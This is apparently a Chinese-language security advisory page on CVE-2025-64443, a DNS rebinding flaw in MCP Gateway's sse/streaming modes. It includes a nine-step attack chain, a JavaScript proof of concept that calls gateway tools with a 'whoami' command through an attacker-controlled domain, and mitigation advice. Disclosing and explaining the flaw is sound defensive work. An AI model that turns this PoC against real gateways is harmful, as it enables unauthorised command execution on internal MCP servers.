IPBUF安全漏洞报告
English
CVE-2025-64443 CVSS 9.6 严重

CVE-2025-64443: MCP Gateway DNS重绑定远程代码执行漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-64443
漏洞类型
DNS重绑定攻击
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MCP Gateway (docker/mcp-gateway)

相关标签

DNS重绑定MCP GatewayGitHub远程代码执行CVSS 9.6严重漏洞SSEStreamingCVE-2025-64443认证绕过

漏洞概述

CVE-2025-64443是GitHub旗下MCP Gateway项目中的一个严重安全漏洞,CVSS评分高达9.6。该漏洞影响MCP Gateway 0.27.0及更早版本,当网关运行在sse或streaming传输模式时存在DNS重绑定(DNS Rebinding)风险。攻击者通过构造恶意网站或广告,诱使受害者访问,利用DNS重绑定技术绕过浏览器同源策略安全限制,从而对部署在网关后方的MCP服务器执行浏览器端攻击。攻击者可以操控MCP服务器暴露的工具和功能,包括数据窃取、命令执行等恶意操作。需要注意的是,MCP Gateway默认的stdio模式不受此漏洞影响,因为该模式不监听网络端口。厂商已在0.28.0版本中修复此问题。

技术细节

DNS重绑定攻击是一种绕过浏览器同源策略的高级攻击技术。在MCP Gateway的sse或streaming传输模式下,网关监听网络端口并提供服务,攻击者利用DNS TTL机制,通过快速切换域名解析实现攻击:

1. 攻击者注册恶意域名并控制DNS服务器
2. 受害者首次访问时,DNS解析指向攻击者服务器(通过浏览器同源检查)
3. 浏览器加载包含恶意JavaScript的页面
4. 随后DNS快速切换指向目标MCP Gateway的内网地址
5. 恶意脚本利用已建立的连接,绕过同源策略向MCP Gateway发送请求
6. 通过MCP协议调用后端MCP服务器的工具/功能

漏洞根因在于MCP Gateway未正确验证请求来源的Host头或缺少CSRF令牌保护,且sse/streaming模式缺乏针对DNS重绑定的防护机制。攻击者可通过MCP协议的操作(如tools/call等)实现对后端服务的未授权访问。

攻击链分析

STEP 1
步骤1
攻击者注册并控制恶意域名,搭建DNS服务器用于重绑定攻击
STEP 2
步骤2
攻击者准备包含恶意JavaScript的网页,托管在攻击者服务器上
STEP 3
步骤3
DNS服务器初始将恶意域名解析指向攻击者服务器IP,通过浏览器同源策略检查
STEP 4
步骤4
攻击者通过钓鱼邮件、恶意广告或社会工程学手段诱导受害者访问恶意网页
STEP 5
步骤5
浏览器加载恶意页面,JavaScript代码执行,建立与攻击者服务器的连接
STEP 6
步骤6
恶意页面触发DNS重绑定,域名解析快速切换至MCP Gateway的内网IP地址
STEP 7
步骤7
恶意JavaScript利用浏览器已建立的上下文环境,通过SSE/Streaming连接向MCP Gateway发送请求
STEP 8
步骤8
MCP Gateway将请求转发至后端MCP服务器,攻击者通过MCP协议调用工具功能执行恶意操作
STEP 9
步骤9
攻击者完成数据窃取、命令执行或其他恶意操作,实现对MCP服务器的未授权访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64443 DNS Rebinding PoC // This PoC demonstrates the DNS rebinding attack against MCP Gateway const ATTACKER_DOMAIN = 'attacker-controlled-domain.com'; const TARGET_HOST = '10.0.0.100'; // Internal MCP Gateway IP const MCP_GATEWAY_PORT = 8080; class DNSRebindingAttack { constructor(targetDomain) { this.domain = targetDomain; this.step = 0; } // Step 1: Initial DNS points to attacker server setupAttackerServer() { // Attacker server serves this malicious page const maliciousHTML = ` <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <h1>Page Loading...</h1> <script src="attack.js"></script> </body> </html> `; return maliciousHTML; } // Step 2: Malicious JavaScript for DNS rebinding attack exploitMCPGateway() { // After DNS switches to target, this script executes const attackScript = ` (async function() { const mcpEndpoint = 'http://' + window.location.hostname + ':${MCP_GATEWAY_PORT}/sse'; // Establish SSE connection to MCP Gateway const eventSource = new EventSource(mcpEndpoint); eventSource.onmessage = async (event) => { const data = JSON.parse(event.data); if (data.type === 'endpoint') { // Got MCP endpoint, now exploit await exploitWithEndpoint(data.endpoint); } }; async function exploitWithEndpoint(endpoint) { // List available tools const toolsResponse = await fetch(endpoint + '/tools/list', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({}) }); // Call vulnerable tool await fetch(endpoint + '/tools/call', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ name: 'vulnerable_tool', arguments: { cmd: 'whoami' } }) }); } })(); `; return attackScript; } // Step 3: DNS server configuration getDNSServerConfig() { // DNS records should be configured to: // First request: Return attacker's IP (passes CORS check) // Subsequent requests: Return target internal IP return { records: [ {ttl: 0, ip: 'ATTACKER_IP'}, {ttl: 0, ip: TARGET_HOST} ], switchDelay: 1000 // milliseconds }; } } module.exports = { DNSRebindingAttack };

影响范围

MCP Gateway <= 0.27.0 (sse/streaming模式)

防御指南

临时缓解措施
如果暂时无法升级,可采取以下临时缓解措施:1) 避免在sse或streaming传输模式下暴露MCP Gateway,优先使用默认的stdio模式;2) 使用网络层访问控制,限制对MCP Gateway端口的访问来源;3) 部署DNS重绑定防护服务或设备;4) 监控异常流量和来自已知恶意域名的连接请求;5) 对管理员和用户进行安全意识培训,警惕钓鱼攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表